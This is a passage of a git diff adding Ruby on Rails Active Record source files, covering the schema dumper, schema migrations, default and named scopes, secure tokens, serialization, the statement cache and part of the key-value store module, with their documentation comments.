+  class SchemaDumper #:nodoc:
+    private_class_method :new
+
+    ##
+    # :singleton-method:
+    # A list of tables which should not be dumped to the schema.
+    # Acceptable values are strings as well as regexp if ActiveRecord::Base.schema_format == :ruby.
+    # Only strings are accepted if ActiveRecord::Base.schema_format == :sql.
+    cattr_accessor :ignore_tables, default: []
+
+    class << self
+      def dump(connection = ActiveRecord::Base.connection, stream = STDOUT, config = ActiveRecord::Base)
+        new(connection, generate_options(config)).dump(stream)
+        stream
+      end
+
+      private
+        def generate_options(config)
+          {
+            table_name_prefix: config.table_name_prefix,
+            table_name_suffix: config.table_name_suffix
+          }
+        end
+    end
+
+    def dump(stream)
+      header(stream)
+      extensions(stream)
+      tables(stream)
+      trailer(stream)
+      stream
+    end
+
+    private
+
+      def initialize(connection, options = {})
+        @connection = connection
+        @version = Migrator::current_version rescue nil
+        @options = options
+      end
+
+      # turns 20170404131909 into "2017_04_04_131909"
+      def formatted_version
+        stringified = @version.to_s
+        return stringified unless stringified.length == 14
+        stringified.insert(4, "_").insert(7, "_").insert(10, "_")
+      end
+
+      def define_params
+        @version ? "version: #{formatted_version}" : ""
+      end
+
+      def header(stream)
+        stream.puts <<HEADER
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema.define(#{define_params}) do
+
+HEADER
+      end
+
+      def trailer(stream)
+        stream.puts "end"
+      end
+
+      def extensions(stream)
+        return unless @connection.supports_extensions?
+        extensions = @connection.extensions
+        if extensions.any?
+          stream.puts "  # These are extensions that must be enabled in order to support this database"
+          extensions.sort.each do |extension|
+            stream.puts "  enable_extension #{extension.inspect}"
+          end
+          stream.puts
+        end
+      end
+
+      def tables(stream)
+        sorted_tables = @connection.tables.sort
+
+        sorted_tables.each do |table_name|
+          table(table_name, stream) unless ignored?(table_name)
+        end
+
+        # dump foreign keys at the end to make sure all dependent tables exist.
+        if @connection.supports_foreign_keys?
+          sorted_tables.each do |tbl|
+            foreign_keys(tbl, stream) unless ignored?(tbl)
+          end
+        end
+      end
+
+      def table(table, stream)
+        columns = @connection.columns(table)
+        begin
+          tbl = StringIO.new
+
+          # first dump primary key column
+          pk = @connection.primary_key(table)
+
+          tbl.print "  create_table #{remove_prefix_and_suffix(table).inspect}"
+
+          case pk
+          when String
+            tbl.print ", primary_key: #{pk.inspect}" unless pk == "id"
+            pkcol = columns.detect { |c| c.name == pk }
+            pkcolspec = @connection.column_spec_for_primary_key(pkcol)
+            if pkcolspec.present?
+              tbl.print ", #{format_colspec(pkcolspec)}"
+            end
+          when Array
+            tbl.print ", primary_key: #{pk.inspect}"
+          else
+            tbl.print ", id: false"
+          end
+          tbl.print ", force: :cascade"
+
+          table_options = @connection.table_options(table)
+          if table_options.present?
+            tbl.print ", #{format_options(table_options)}"
+          end
+
+          tbl.puts " do |t|"
+
+          # then dump all non-primary key columns
+          columns.each do |column|
+            raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" unless @connection.valid_type?(column.type)
+            next if column.name == pk
+            type, colspec = @connection.column_spec(column)
+            tbl.print "    t.#{type} #{column.name.inspect}"
+            tbl.print ", #{format_colspec(colspec)}" if colspec.present?
+            tbl.puts
+          end
+
+          indexes_in_create(table, tbl)
+
+          tbl.puts "  end"
+          tbl.puts
+
+          tbl.rewind
+          stream.print tbl.read
+        rescue => e
+          stream.puts "# Could not dump table #{table.inspect} because of following #{e.class}"
+          stream.puts "#   #{e.message}"
+          stream.puts
+        end
+
+        stream
+      end
+
+      # Keep it for indexing materialized views
+      def indexes(table, stream)
+        if (indexes = @connection.indexes(table)).any?
+          add_index_statements = indexes.map do |index|
+            table_name = remove_prefix_and_suffix(index.table).inspect
+            "  add_index #{([table_name] + index_parts(index)).join(', ')}"
+          end
+
+          stream.puts add_index_statements.sort.join("\n")
+          stream.puts
+        end
+      end
+
+      def indexes_in_create(table, stream)
+        if (indexes = @connection.indexes(table)).any?
+          index_statements = indexes.map do |index|
+            "    t.index #{index_parts(index).join(', ')}"
+          end
+          stream.puts index_statements.sort.join("\n")
+        end
+      end
+
+      def index_parts(index)
+        index_parts = [
+          index.columns.inspect,
+          "name: #{index.name.inspect}",
+        ]
+        index_parts << "unique: true" if index.unique
+        index_parts << "length: { #{format_options(index.lengths)} }" if index.lengths.present?
+        index_parts << "order: { #{format_options(index.orders)} }" if index.orders.present?
+        index_parts << "where: #{index.where.inspect}" if index.where
+        index_parts << "using: #{index.using.inspect}" if !@connection.default_index_type?(index)
+        index_parts << "type: #{index.type.inspect}" if index.type
+        index_parts << "comment: #{index.comment.inspect}" if index.comment
+        index_parts
+      end
+
+      def foreign_keys(table, stream)
+        if (foreign_keys = @connection.foreign_keys(table)).any?
+          add_foreign_key_statements = foreign_keys.map do |foreign_key|
+            parts = [
+              "add_foreign_key #{remove_prefix_and_suffix(foreign_key.from_table).inspect}",
+              remove_prefix_and_suffix(foreign_key.to_table).inspect,
+            ]
+
+            if foreign_key.column != @connection.foreign_key_column_for(foreign_key.to_table)
+              parts << "column: #{foreign_key.column.inspect}"
+            end
+
+            if foreign_key.custom_primary_key?
+              parts << "primary_key: #{foreign_key.primary_key.inspect}"
+            end
+
+            if foreign_key.name !~ /^fk_rails_[0-9a-f]{10}$/
+              parts << "name: #{foreign_key.name.inspect}"
+            end
+
+            parts << "on_update: #{foreign_key.on_update.inspect}" if foreign_key.on_update
+            parts << "on_delete: #{foreign_key.on_delete.inspect}" if foreign_key.on_delete
+
+            "  #{parts.join(', ')}"
+          end
+
+          stream.puts add_foreign_key_statements.sort.join("\n")
+        end
+      end
+
+      def format_colspec(colspec)
+        colspec.map { |key, value| "#{key}: #{value}" }.join(", ")
+      end
+
+      def format_options(options)
+        options.map { |key, value| "#{key}: #{value.inspect}" }.join(", ")
+      end
+
+      def remove_prefix_and_suffix(table)
+        table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/,  "\\2")
+      end
+
+      def ignored?(table_name)
+        [ActiveRecord::Base.schema_migrations_table_name, ActiveRecord::Base.internal_metadata_table_name, ignore_tables].flatten.any? do |ignored|
+          ignored === remove_prefix_and_suffix(table_name)
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
new file mode 100644
index 0000000000..339a5334a8
--- /dev/null
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require_relative "scoping/default"
+require_relative "scoping/named"
+
+module ActiveRecord
+  # This class is used to create a table that keeps track of which migrations
+  # have been applied to a given database. When a migration is run, its schema
+  # number is inserted in to the `SchemaMigration.table_name` so it doesn't need
+  # to be executed the next time.
+  class SchemaMigration < ActiveRecord::Base # :nodoc:
+    class << self
+      def primary_key
+        "version"
+      end
+
+      def table_name
+        "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+      end
+
+      def table_exists?
+        connection.table_exists?(table_name)
+      end
+
+      def create_table
+        unless table_exists?
+          version_options = connection.internal_string_options_for_primary_key
+
+          connection.create_table(table_name, id: false) do |t|
+            t.string :version, version_options
+          end
+        end
+      end
+
+      def drop_table
+        connection.drop_table table_name, if_exists: true
+      end
+
+      def normalize_migration_number(number)
+        "%.3d" % number.to_i
+      end
+
+      def normalized_versions
+        all_versions.map { |v| normalize_migration_number v }
+      end
+
+      def all_versions
+        order(:version).pluck(:version)
+      end
+    end
+
+    def version
+      super.to_i
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
new file mode 100644
index 0000000000..da585a9562
--- /dev/null
+++ b/activerecord/lib/active_record/scoping.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "active_support/per_thread_registry"
+
+module ActiveRecord
+  module Scoping
+    extend ActiveSupport::Concern
+
+    included do
+      include Default
+      include Named
+    end
+
+    module ClassMethods
+      def current_scope(skip_inherited_scope = false) # :nodoc:
+        ScopeRegistry.value_for(:current_scope, self, skip_inherited_scope)
+      end
+
+      def current_scope=(scope) #:nodoc:
+        ScopeRegistry.set_value_for(:current_scope, self, scope)
+      end
+
+      # Collects attributes from scopes that should be applied when creating
+      # an AR instance for the particular class this is called on.
+      def scope_attributes # :nodoc:
+        all.scope_for_create
+      end
+
+      # Are there attributes associated with this scope?
+      def scope_attributes? # :nodoc:
+        current_scope
+      end
+    end
+
+    def populate_with_current_scope_attributes # :nodoc:
+      return unless self.class.scope_attributes?
+
+      attributes = self.class.scope_attributes
+      _assign_attributes(attributes) if attributes.any?
+    end
+
+    def initialize_internals_callback # :nodoc:
+      super
+      populate_with_current_scope_attributes
+    end
+
+    # This class stores the +:current_scope+ and +:ignore_default_scope+ values
+    # for different classes. The registry is stored as a thread local, which is
+    # accessed through +ScopeRegistry.current+.
+    #
+    # This class allows you to store and get the scope values on different
+    # classes and different types of scopes. For example, if you are attempting
+    # to get the current_scope for the +Board+ model, then you would use the
+    # following code:
+    #
+    #   registry = ActiveRecord::Scoping::ScopeRegistry
+    #   registry.set_value_for(:current_scope, Board, some_new_scope)
+    #
+    # Now when you run:
+    #
+    #   registry.value_for(:current_scope, Board)
+    #
+    # You will obtain whatever was defined in +some_new_scope+. The #value_for
+    # and #set_value_for methods are delegated to the current ScopeRegistry
+    # object, so the above example code can also be called as:
+    #
+    #   ActiveRecord::Scoping::ScopeRegistry.set_value_for(:current_scope,
+    #       Board, some_new_scope)
+    class ScopeRegistry # :nodoc:
+      extend ActiveSupport::PerThreadRegistry
+
+      VALID_SCOPE_TYPES = [:current_scope, :ignore_default_scope]
+
+      def initialize
+        @registry = Hash.new { |hash, key| hash[key] = {} }
+      end
+
+      # Obtains the value for a given +scope_type+ and +model+.
+      def value_for(scope_type, model, skip_inherited_scope = false)
+        raise_invalid_scope_type!(scope_type)
+        return @registry[scope_type][model.name] if skip_inherited_scope
+        klass = model
+        base = model.base_class
+        while klass <= base
+          value = @registry[scope_type][klass.name]
+          return value if value
+          klass = klass.superclass
+        end
+      end
+
+      # Sets the +value+ for a given +scope_type+ and +model+.
+      def set_value_for(scope_type, model, value)
+        raise_invalid_scope_type!(scope_type)
+        @registry[scope_type][model.name] = value
+      end
+
+      private
+
+        def raise_invalid_scope_type!(scope_type)
+          if !VALID_SCOPE_TYPES.include?(scope_type)
+            raise ArgumentError, "Invalid scope type '#{scope_type}' sent to the registry. Scope types must be included in VALID_SCOPE_TYPES"
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
new file mode 100644
index 0000000000..86ae374318
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Scoping
+    module Default
+      extend ActiveSupport::Concern
+
+      included do
+        # Stores the default scope for the class.
+        class_attribute :default_scopes, instance_writer: false, instance_predicate: false, default: []
+        class_attribute :default_scope_override, instance_writer: false, instance_predicate: false, default: nil
+      end
+
+      module ClassMethods
+        # Returns a scope for the model without the previously set scopes.
+        #
+        #   class Post < ActiveRecord::Base
+        #     def self.default_scope
+        #       where(published: true)
+        #     end
+        #   end
+        #
+        #   Post.all                                  # Fires "SELECT * FROM posts WHERE published = true"
+        #   Post.unscoped.all                         # Fires "SELECT * FROM posts"
+        #   Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
+        #
+        # This method also accepts a block. All queries inside the block will
+        # not use the previously set scopes.
+        #
+        #   Post.unscoped {
+        #     Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
+        #   }
+        def unscoped
+          block_given? ? relation.scoping { yield } : relation
+        end
+
+        # Are there attributes associated with this scope?
+        def scope_attributes? # :nodoc:
+          super || default_scopes.any? || respond_to?(:default_scope)
+        end
+
+        def before_remove_const #:nodoc:
+          self.current_scope = nil
+        end
+
+        private
+
+          # Use this macro in your model to set a default scope for all operations on
+          # the model.
+          #
+          #   class Article < ActiveRecord::Base
+          #     default_scope { where(published: true) }
+          #   end
+          #
+          #   Article.all # => SELECT * FROM articles WHERE published = true
+          #
+          # The #default_scope is also applied while creating/building a record.
+          # It is not applied while updating a record.
+          #
+          #   Article.new.published    # => true
+          #   Article.create.published # => true
+          #
+          # (You can also pass any object which responds to +call+ to the
+          # +default_scope+ macro, and it will be called when building the
+          # default scope.)
+          #
+          # If you use multiple #default_scope declarations in your model then
+          # they will be merged together:
+          #
+          #   class Article < ActiveRecord::Base
+          #     default_scope { where(published: true) }
+          #     default_scope { where(rating: 'G') }
+          #   end
+          #
+          #   Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G'
+          #
+          # This is also the case with inheritance and module includes where the
+          # parent or module defines a #default_scope and the child or including
+          # class defines a second one.
+          #
+          # If you need to do more complex things with a default scope, you can
+          # alternatively define it as a class method:
+          #
+          #   class Article < ActiveRecord::Base
+          #     def self.default_scope
+          #       # Should return a scope, you can call 'super' here etc.
+          #     end
+          #   end
+          def default_scope(scope = nil) # :doc:
+            scope = Proc.new if block_given?
+
+            if scope.is_a?(Relation) || !scope.respond_to?(:call)
+              raise ArgumentError,
+                "Support for calling #default_scope without a block is removed. For example instead " \
+                "of `default_scope where(color: 'red')`, please use " \
+                "`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
+                "self.default_scope.)"
+            end
+
+            self.default_scopes += [scope]
+          end
+
+          def build_default_scope(base_rel = nil)
+            return if abstract_class?
+
+            if default_scope_override.nil?
+              self.default_scope_override = !Base.is_a?(method(:default_scope).owner)
+            end
+
+            if default_scope_override
+              # The user has defined their own default scope method, so call that
+              evaluate_default_scope do
+                if scope = default_scope
+                  (base_rel ||= relation).merge(scope)
+                end
+              end
+            elsif default_scopes.any?
+              base_rel ||= relation
+              evaluate_default_scope do
+                default_scopes.inject(base_rel) do |default_scope, scope|
+                  scope = scope.respond_to?(:to_proc) ? scope : scope.method(:call)
+                  default_scope.merge(base_rel.instance_exec(&scope))
+                end
+              end
+            end
+          end
+
+          def ignore_default_scope?
+            ScopeRegistry.value_for(:ignore_default_scope, base_class)
+          end
+
+          def ignore_default_scope=(ignore)
+            ScopeRegistry.set_value_for(:ignore_default_scope, base_class, ignore)
+          end
+
+          # The ignore_default_scope flag is used to prevent an infinite recursion
+          # situation where a default scope references a scope which has a default
+          # scope which references a scope...
+          def evaluate_default_scope
+            return if ignore_default_scope?
+
+            begin
+              self.ignore_default_scope = true
+              yield
+            ensure
+              self.ignore_default_scope = false
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
new file mode 100644
index 0000000000..43cce19c1f
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array"
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/kernel/singleton_class"
+
+module ActiveRecord
+  # = Active Record \Named \Scopes
+  module Scoping
+    module Named
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        # Returns an ActiveRecord::Relation scope object.
+        #
+        #   posts = Post.all
+        #   posts.size # Fires "select count(*) from  posts" and returns the count
+        #   posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
+        #
+        #   fruits = Fruit.all
+        #   fruits = fruits.where(color: 'red') if options[:red_only]
+        #   fruits = fruits.limit(10) if limited?
+        #
+        # You can define a scope that applies to all finders using
+        # {default_scope}[rdoc-ref:Scoping::Default::ClassMethods#default_scope].
+        def all
+          if current_scope
+            current_scope.clone
+          else
+            default_scoped
+          end
+        end
+
+        def default_scoped(scope = relation) # :nodoc:
+          build_default_scope(scope) || scope
+        end
+
+        def default_extensions # :nodoc:
+          if scope = current_scope || build_default_scope
+            scope.extensions
+          else
+            []
+          end
+        end
+
+        # Adds a class method for retrieving and querying objects.
+        # The method is intended to return an ActiveRecord::Relation
+        # object, which is composable with other scopes.
+        # If it returns +nil+ or +false+, an
+        # {all}[rdoc-ref:Scoping::Named::ClassMethods#all] scope is returned instead.
+        #
+        # A \scope represents a narrowing of a database query, such as
+        # <tt>where(color: :red).select('shirts.*').includes(:washing_instructions)</tt>.
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     scope :red, -> { where(color: 'red') }
+        #     scope :dry_clean_only, -> { joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true) }
+        #   end
+        #
+        # The above calls to #scope define class methods <tt>Shirt.red</tt> and
+        # <tt>Shirt.dry_clean_only</tt>. <tt>Shirt.red</tt>, in effect,
+        # represents the query <tt>Shirt.where(color: 'red')</tt>.
+        #
+        # You should always pass a callable object to the scopes defined
+        # with #scope. This ensures that the scope is re-evaluated each
+        # time it is called.
+        #
+        # Note that this is simply 'syntactic sugar' for defining an actual
+        # class method:
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     def self.red
+        #       where(color: 'red')
+        #     end
+        #   end
+        #
+        # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by
+        # <tt>Shirt.red</tt> is not an Array but an ActiveRecord::Relation,
+        # which is composable with other scopes; it resembles the association object
+        # constructed by a {has_many}[rdoc-ref:Associations::ClassMethods#has_many]
+        # declaration. For instance, you can invoke <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>,
+        # <tt>Shirt.red.where(size: 'small')</tt>. Also, just as with the
+        # association objects, named \scopes act like an Array, implementing
+        # Enumerable; <tt>Shirt.red.each(&block)</tt>, <tt>Shirt.red.first</tt>,
+        # and <tt>Shirt.red.inject(memo, &block)</tt> all behave as if
+        # <tt>Shirt.red</tt> really was an array.
+        #
+        # These named \scopes are composable. For instance,
+        # <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are
+        # both red and dry clean only. Nested finds and calculations also work
+        # with these compositions: <tt>Shirt.red.dry_clean_only.count</tt>
+        # returns the number of garments for which these criteria obtain.
+        # Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
+        #
+        # All scopes are available as class methods on the ActiveRecord::Base
+        # descendant upon which the \scopes were defined. But they are also
+        # available to {has_many}[rdoc-ref:Associations::ClassMethods#has_many]
+        # associations. If,
+        #
+        #   class Person < ActiveRecord::Base
+        #     has_many :shirts
+        #   end
+        #
+        # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of
+        # Elton's red, dry clean only shirts.
+        #
+        # \Named scopes can also have extensions, just as with
+        # {has_many}[rdoc-ref:Associations::ClassMethods#has_many] declarations:
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     scope :red, -> { where(color: 'red') } do
+        #       def dom_id
+        #         'red_shirts'
+        #       end
+        #     end
+        #   end
+        #
+        # Scopes can also be used while creating/building a record.
+        #
+        #   class Article < ActiveRecord::Base
+        #     scope :published, -> { where(published: true) }
+        #   end
+        #
+        #   Article.published.new.published    # => true
+        #   Article.published.create.published # => true
+        #
+        # \Class methods on your model are automatically available
+        # on scopes. Assuming the following setup:
+        #
+        #   class Article < ActiveRecord::Base
+        #     scope :published, -> { where(published: true) }
+        #     scope :featured, -> { where(featured: true) }
+        #
+        #     def self.latest_article
+        #       order('published_at desc').first
+        #     end
+        #
+        #     def self.titles
+        #       pluck(:title)
+        #     end
+        #   end
+        #
+        # We are able to call the methods like this:
+        #
+        #   Article.published.featured.latest_article
+        #   Article.featured.titles
+        def scope(name, body, &block)
+          unless body.respond_to?(:call)
+            raise ArgumentError, "The scope body needs to be callable."
+          end
+
+          if dangerous_class_method?(name)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but Active Record already defined " \
+              "a class method with the same name."
+          end
+
+          valid_scope_name?(name)
+          extension = Module.new(&block) if block
+
+          if body.respond_to?(:to_proc)
+            singleton_class.send(:define_method, name) do |*args|
+              scope = all
+              scope = scope.instance_exec(*args, &body) || scope
+              scope = scope.extending(extension) if extension
+              scope
+            end
+          else
+            singleton_class.send(:define_method, name) do |*args|
+              scope = all
+              scope = scope.scoping { body.call(*args) || scope }
+              scope = scope.extending(extension) if extension
+              scope
+            end
+          end
+        end
+
+        private
+
+          def valid_scope_name?(name)
+            if respond_to?(name, true) && logger
+              logger.warn "Creating scope :#{name}. " \
+                "Overwriting existing method #{self.name}.#{name}."
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/secure_token.rb b/activerecord/lib/active_record/secure_token.rb
new file mode 100644
index 0000000000..bcdb33901b
--- /dev/null
+++ b/activerecord/lib/active_record/secure_token.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module SecureToken
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Example using #has_secure_token
+      #
+      #   # Schema: User(token:string, auth_token:string)
+      #   class User < ActiveRecord::Base
+      #     has_secure_token
+      #     has_secure_token :auth_token
+      #   end
+      #
+      #   user = User.new
+      #   user.save
+      #   user.token # => "pX27zsMN2ViQKta1bGfLmVJE"
+      #   user.auth_token # => "77TMHrHJFvFDwodq8w7Ev2m7"
+      #   user.regenerate_token # => true
+      #   user.regenerate_auth_token # => true
+      #
+      # <tt>SecureRandom::base58</tt> is used to generate the 24-character unique token, so collisions are highly unlikely.
+      #
+      # Note that it's still possible to generate a race condition in the database in the same way that
+      # {validates_uniqueness_of}[rdoc-ref:Validations::ClassMethods#validates_uniqueness_of] can.
+      # You're encouraged to add a unique index in the database to deal with this even more unlikely scenario.
+      def has_secure_token(attribute = :token)
+        # Load securerandom only when has_secure_token is used.
+        require "active_support/core_ext/securerandom"
+        define_method("regenerate_#{attribute}") { update! attribute => self.class.generate_unique_secure_token }
+        before_create { send("#{attribute}=", self.class.generate_unique_secure_token) unless send("#{attribute}?") }
+      end
+
+      def generate_unique_secure_token
+        SecureRandom.base58(24)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
new file mode 100644
index 0000000000..741fea43ce
--- /dev/null
+++ b/activerecord/lib/active_record/serialization.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActiveRecord #:nodoc:
+  # = Active Record \Serialization
+  module Serialization
+    extend ActiveSupport::Concern
+    include ActiveModel::Serializers::JSON
+
+    included do
+      self.include_root_in_json = false
+    end
+
+    def serializable_hash(options = nil)
+      options = options.try(:dup) || {}
+
+      options[:except] = Array(options[:except]).map(&:to_s)
+      options[:except] |= Array(self.class.inheritance_column)
+
+      super(options)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
new file mode 100644
index 0000000000..64657089b5
--- /dev/null
+++ b/activerecord/lib/active_record/statement_cache.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # Statement cache is used to cache a single statement in order to avoid creating the AST again.
+  # Initializing the cache is done by passing the statement in the create block:
+  #
+  #   cache = StatementCache.create(Book.connection) do |params|
+  #     Book.where(name: "my book").where("author_id > 3")
+  #   end
+  #
+  # The cached statement is executed by using the
+  # {connection.execute}[rdoc-ref:ConnectionAdapters::DatabaseStatements#execute] method:
+  #
+  #   cache.execute([], Book, Book.connection)
+  #
+  # The relation returned by the block is cached, and for each
+  # {execute}[rdoc-ref:ConnectionAdapters::DatabaseStatements#execute]
+  # call the cached relation gets duped. Database is queried when +to_a+ is called on the relation.
+  #
+  # If you want to cache the statement without the values you can use the +bind+ method of the
+  # block parameter.
+  #
+  #   cache = StatementCache.create(Book.connection) do |params|
+  #     Book.where(name: params.bind)
+  #   end
+  #
+  # And pass the bind values as the first argument of +execute+ call.
+  #
+  #   cache.execute(["my book"], Book, Book.connection)
+  class StatementCache # :nodoc:
+    class Substitute; end # :nodoc:
+
+    class Query # :nodoc:
+      def initialize(sql)
+        @sql = sql
+      end
+
+      def sql_for(binds, connection)
+        @sql
+      end
+    end
+
+    class PartialQuery < Query # :nodoc:
+      def initialize(values)
+        @values = values
+        @indexes = values.each_with_index.find_all { |thing, i|
+          Arel::Nodes::BindParam === thing
+        }.map(&:last)
+      end
+
+      def sql_for(binds, connection)
+        val = @values.dup
+        casted_binds = binds.map(&:value_for_database)
+        @indexes.each { |i| val[i] = connection.quote(casted_binds.shift) }
+        val.join
+      end
+    end
+
+    def self.query(sql)
+      Query.new(sql)
+    end
+
+    def self.partial_query(values)
+      PartialQuery.new(values)
+    end
+
+    class Params # :nodoc:
+      def bind; Substitute.new; end
+    end
+
+    class BindMap # :nodoc:
+      def initialize(bound_attributes)
+        @indexes = []
+        @bound_attributes = bound_attributes
+
+        bound_attributes.each_with_index do |attr, i|
+          if Substitute === attr.value
+            @indexes << i
+          end
+        end
+      end
+
+      def bind(values)
+        bas = @bound_attributes.dup
+        @indexes.each_with_index { |offset, i| bas[offset] = bas[offset].with_cast_value(values[i]) }
+        bas
+      end
+    end
+
+    attr_reader :bind_map, :query_builder
+
+    def self.create(connection, block = Proc.new)
+      relation = block.call Params.new
+      query_builder, binds = connection.cacheable_query(self, relation.arel)
+      bind_map = BindMap.new(binds)
+      new query_builder, bind_map
+    end
+
+    def initialize(query_builder, bind_map)
+      @query_builder = query_builder
+      @bind_map      = bind_map
+    end
+
+    def execute(params, klass, connection, &block)
+      bind_values = bind_map.bind params
+
+      sql = query_builder.sql_for bind_values, connection
+
+      klass.find_by_sql(sql, bind_values, preparable: true, &block)
+    end
+    alias :call :execute
+  end
+end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
new file mode 100644
index 0000000000..202b82fa61
--- /dev/null
+++ b/activerecord/lib/active_record/store.rb
@@ -0,0 +1,211 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActiveRecord
+  # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column.
+  # It's like a simple key/value store baked into your record when you don't care about being able to
+  # query that store outside the context of a single record.
+  #
+  # You can then declare accessors to this store that are then accessible just like any other attribute
+  # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's
+  # already built around just accessing attributes on the model.
+  #
+  # Make sure that you declare the database column used for the serialized store as a text, so there's
+  # plenty of room.
+  #
+  # You can set custom coder to encode/decode your serialized attributes to/from different formats.
+  # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
+  #
+  # NOTE: If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
+  # the serialization provided by {.store}[rdoc-ref:rdoc-ref:ClassMethods#store].
+  # Simply use {.store_accessor}[rdoc-ref:ClassMethods#store_accessor] instead to generate
+  # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
+  # using a symbol.
+  #
+  # NOTE: The default validations with the exception of +uniqueness+ will work.
+  # For example, if you want to check for +uniqueness+ with +hstore+ you will
+  # need to use a custom validation to handle it.
+  #
+  # Examples:
+  #
+  #   class User < ActiveRecord::Base
+  #     store :settings, accessors: [ :color, :homepage ], coder: JSON
+  #   end
+  #
+  #   u = User.new(color: 'black', homepage: '37signals.com')
+  #   u.color                          # Accessor stored attribute
+  #   u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+  #
+  #   # There is no difference between strings and symbols for accessing custom attributes
+  #   u.settings[:country]  # => 'Denmark'
+  #   u.settings['country'] # => 'Denmark'
+  #
+  #   # Add additional accessors to an existing store through store_accessor
+  #   class SuperUser < User
+  #     store_accessor :settings, :privileges, :servants
+  #   end
+  #
+  # The stored attribute names can be retrieved using {.stored_attributes}[rdoc-ref:rdoc-ref:ClassMethods#stored_attributes].
+  #
+  #   User.stored_attributes[:settings] # [:color, :homepage]
+  #
+  # == Overwriting default accessors
+  #
+  # All stored values are automatically available through accessors on the Active Record
+  # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+  # the default accessors (using the same name as the attribute) and calling <tt>super</tt>
+  # to actually change things.
+  #
+  #   class Song < ActiveRecord::Base
+  #     # Uses a stored integer to hold the volume adjustment of the song
+  #     store :settings, accessors: [:volume_adjustment]
+  #
+  #     def volume_adjustment=(decibels)
+  #       super(decibels.to_i)
+  #     end
+  #
+  #     def volume_adjustment
+  #       super.to_i
+  #     end
+  #   end
+  module Store
+    extend ActiveSupport::Concern
+
+    included do
+      class << self
+        attr_accessor :local_stored_attributes
+      end
+    end
+
+    module ClassMethods
+      def store(store_attribute, options = {})
+        serialize store_attribute, IndifferentCoder.new(store_attribute, options[:coder])
+        store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors
+      end
+
+      def store_accessor(store_attribute, *keys)
+        keys = keys.flatten
+
+        _store_accessors_module.module_eval do
+          keys.each do |key|
+            define_method("#{key}=") do |value|
+              write_store_attribute(store_attribute, key, value)
+            end
+
+            define_method(key) do
+              read_store_attribute(store_attribute, key)
+            end
+          end
+        end
+
+        # assign new store attribute and create new hash to ensure that each class in the hierarchy
+        # has its own hash of stored attributes.
+        self.local_stored_attributes ||= {}
+        self.local_stored_attributes[store_attribute] ||= []
+        self.local_stored_attributes[store_attribute] |= keys
+      end
+
+      def _store_accessors_module # :nodoc:
+        @_store_accessors_module ||= begin
+          mod = Module.new
+          include mod
+          mod
+        end
+      end
+
+      def stored_attributes
+        parent = superclass.respond_to?(:stored_attributes) ? superclass.stored_attributes : {}
+        if local_stored_attributes
+          parent.merge!(local_stored_attributes) { |k, a, b| a | b }
+        end
+        parent
+      end
+    end
+
+    private
